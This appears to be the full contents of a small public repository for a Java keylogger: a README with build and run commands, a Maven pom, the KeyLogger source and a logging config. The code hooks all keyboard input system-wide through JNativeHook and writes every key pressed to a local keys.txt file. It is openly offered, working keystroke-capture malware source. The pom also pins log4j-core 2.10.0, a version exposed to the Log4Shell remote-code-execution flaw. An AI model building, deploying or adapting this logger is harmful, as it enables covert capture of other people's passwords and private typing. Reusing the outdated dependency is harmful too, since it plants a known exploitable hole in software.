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‎.gitignore‎

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/target/
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/.settings/
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.project
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.classpath
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.idea/
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keylogger.iml

‎README.md‎

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[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://github.com/dhvakr/keylogger-in-java/blob/main/LICENSE)
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[![made-with-java](https://img.shields.io/badge/Made%20with-java-1f425f.svg)](https://www.oracle.com/java/)
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![JDK](https://img.shields.io/badge/JDK-%3E%3D%20v8-blue)
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[![Maintenance](https://img.shields.io/badge/Maintained%3F-no-green.svg)](https://github.com/dhvakr/keylogger-in-java/graphs/commit-activity)
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# Java-Keylogger
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A simple keylogger application implemented in Java. It uses [Native Hook](https://github.com/kwhat/jnativehook) library to add global listener for key presses.
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## How to Build and Run Project
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TO build project:
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```bash
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mvn package
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```
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Run ./target/keylogger-jar-with-dependencies.jar file using command:
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```bash
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java -jar `./target/keylogger-jar-with-dependencies.jar`
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```
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The keys will be written in **`keys.txt`** file and application logs will reside inside **`all.log`** file.
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## Note
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Don't forget to stop the keylogger application after you've done logging.

‎pom.xml‎

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<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
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xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
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<modelVersion>4.0.0</modelVersion>
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<groupId>me.dhvakr</groupId>
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<artifactId>keylogger</artifactId>
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<version>1.0</version>
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<packaging>jar</packaging>
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<name>keylogger</name>
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<url>http://maven.apache.org</url>
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<properties>
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<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
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<maven.compiler.target>1.8</maven.compiler.target>
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<maven.compiler.source>1.8</maven.compiler.source>
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</properties>
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<dependencies>
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<dependency>
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<groupId>com.1stleg</groupId>
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<artifactId>jnativehook</artifactId>
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<version>2.1.0</version>
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</dependency>
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<dependency>
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<groupId>org.slf4j</groupId>
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<artifactId>slf4j-api</artifactId>
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<version>1.7.25</version>
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</dependency>
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<dependency>
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<groupId>org.apache.logging.log4j</groupId>
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<artifactId>log4j-slf4j-impl</artifactId>
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<version>2.10.0</version>
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</dependency>
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<dependency>
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<groupId>org.apache.logging.log4j</groupId>
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<artifactId>log4j-core</artifactId>
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<version>2.10.0</version>
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</dependency>
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</dependencies>
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<build>
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<finalName>${project.artifactId}</finalName>
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<plugins>
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<!-- Assemble into single executable JAR file -->
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<plugin>
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<artifactId>maven-assembly-plugin</artifactId>
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<configuration>
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<archive>
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<manifest>
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<mainClass>me.dhvakr.KeyLogger</mainClass>
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</manifest>
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</archive>
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<descriptorRefs>
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<descriptorRef>jar-with-dependencies</descriptorRef>
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</descriptorRefs>
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</configuration>
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<executions>
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<execution>
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<id>make-assembly</id> <!-- this is used for inheritance merges -->
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<phase>package</phase> <!-- bind to the packaging phase -->
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<goals>
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<goal>single</goal>
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</goals>
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</execution>
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</executions>
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</plugin>
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</plugins>
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</build>
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</project>

‎src/main/java/me/dhvakr/KeyLogger.java‎

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package me.dhvakr;
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import java.io.IOException;
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import java.io.OutputStream;
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import java.io.PrintWriter;
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import java.nio.file.Files;
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import java.nio.file.Path;
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import java.nio.file.Paths;
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import java.nio.file.StandardOpenOption;
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import java.util.logging.Level;
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import org.jnativehook.GlobalScreen;
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import org.jnativehook.NativeHookException;
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import org.jnativehook.keyboard.NativeKeyEvent;
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import org.jnativehook.keyboard.NativeKeyListener;
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import org.slf4j.Logger;
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import org.slf4j.LoggerFactory;
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/**
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* @author vakho
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*/
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public class KeyLogger implements NativeKeyListener {
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private static final Path file = Paths.get("keys.txt");
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private static final Logger logger = LoggerFactory.getLogger(KeyLogger.class);
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public static void main(String[] args) {
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logger.info("Key logger has been started");
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init();
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try {
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GlobalScreen.registerNativeHook();
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} catch (NativeHookException e) {
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logger.error(e.getMessage(), e);
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System.exit(-1);
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}
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GlobalScreen.addNativeKeyListener(new KeyLogger());
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}
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private static void init() {
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// Get the logger for "org.jnativehook" and set the level to warning.
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java.util.logging.Logger logger = java.util.logging.Logger.getLogger(GlobalScreen.class.getPackage().getName());
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logger.setLevel(Level.WARNING);
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// Don't forget to disable the parent handlers.
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logger.setUseParentHandlers(false);
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}
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public void nativeKeyPressed(NativeKeyEvent e) {
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String keyText = NativeKeyEvent.getKeyText(e.getKeyCode());
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try (OutputStream os = Files.newOutputStream(file, StandardOpenOption.CREATE, StandardOpenOption.WRITE,
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StandardOpenOption.APPEND); PrintWriter writer = new PrintWriter(os)) {
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if (keyText.length() > 1) {
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writer.print("[" + keyText + "]");
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} else {
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writer.print(keyText);
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}
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} catch (IOException ex) {
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logger.error(ex.getMessage(), ex);
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System.exit(-1);
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}
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}
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public void nativeKeyReleased(NativeKeyEvent e) {
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// Nothing
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}
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public void nativeKeyTyped(NativeKeyEvent e) {
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// Nothing here
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}
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}

‎src/main/resources/log4j2.xml‎

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<?xml version="1.0" encoding="UTF-8"?>
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<Configuration status="INFO">
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<Appenders>
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<Console name="Console" target="SYSTEM_OUT">
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<PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n" />
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</Console>
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<File name="MyFile" fileName="all.log" immediateFlush="true" append="false">
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<PatternLayout pattern="%d{yyy-MM-dd HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
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</File>
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</Appenders>
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<Loggers>
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<Root level="debug">
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<AppenderRef ref="Console" />
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<AppenderRef ref="MyFile"/>
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</Root>
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</Loggers>
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</Configuration>

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